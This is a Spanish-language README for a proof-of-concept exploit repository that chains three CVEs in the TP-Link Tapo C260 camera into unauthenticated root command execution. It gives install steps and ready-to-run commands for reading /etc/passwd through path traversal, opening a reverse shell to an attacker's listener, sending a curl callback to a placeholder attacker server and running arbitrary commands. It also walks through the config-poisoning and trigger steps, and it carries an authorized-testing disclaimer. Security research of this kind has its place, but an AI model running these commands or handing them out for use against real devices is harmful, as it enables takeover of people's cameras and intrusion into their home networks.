
Cadena de exploits PoC para la cámara TP-Link Tapo C260 — CVE-2026-0651/0652/0653. Investigación de @spaceraccoon.
Prueba de concepto de cadena de explotación para la cámara IP TP-Link Tapo C260 que logra RCE de no autenticado a root encadenando tres vulnerabilidades descubiertas por Eugene Lim (Spaceraccoon).
Toda la investigación y el descubrimiento de vulnerabilidades por Eugene Lim (@spaceraccoon).
Este repositorio es una implementación de PoC basada en su artículo público. Si te resulta útil, cómprale su libro: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).
| CVE | Tipo | Impacto |
|---|---|---|
| CVE-2026-0651 | Path Traversal / Divulgación de Archivos Locales | Leer archivos arbitrarios mediante /%2e%2e%2f en el manejador HTTP GET |
| CVE-2026-0652 | Escritura de Configuración Arbitraria | Usuarios de nivel invitado pueden escribir en cualquier ruta de configuración mediante manipulación de claves JSON en la API en la nube |
| CVE-2026-0653 | Inyección de Comandos / Escalada de Privilegios | set_region_code_handle pasa el valor de configuración dev_name sin sanitizar a popen() |
LFD (leer configuración del dispositivo) --> Escritura de Config (envenenar dev_name) --> Activar manejador de código de región --> popen() --> shell
git clone https://github.com/<tu_usuario>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
Leer archivos arbitrarios de una cámara en la red local:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# Reverse shell
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <TU_IP> \
--lport 4444
# Solo callback (ping curl)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://tu-servidor.com/pwned
# Comando personalizado
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
Envenenar — Envía una solicitud setLedStatus con claves JSON manipuladas que escribe una carga útil de metacaracteres de shell en la ruta de configuración tp_manage/info/dev_name del dispositivo.
Activar — Envía una solicitud set_region_code. El manejador lee dev_name de la configuración y lo interpola en una llamada a popen() sin sanitización, ejecutando el comando inyectado.
Shell — El atacante recibe un callback o una reverse shell.
/bin/mainEsta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no son responsables del mal uso. Siempre obtén permiso explícito antes de probar contra cualquier dispositivo que no poseas.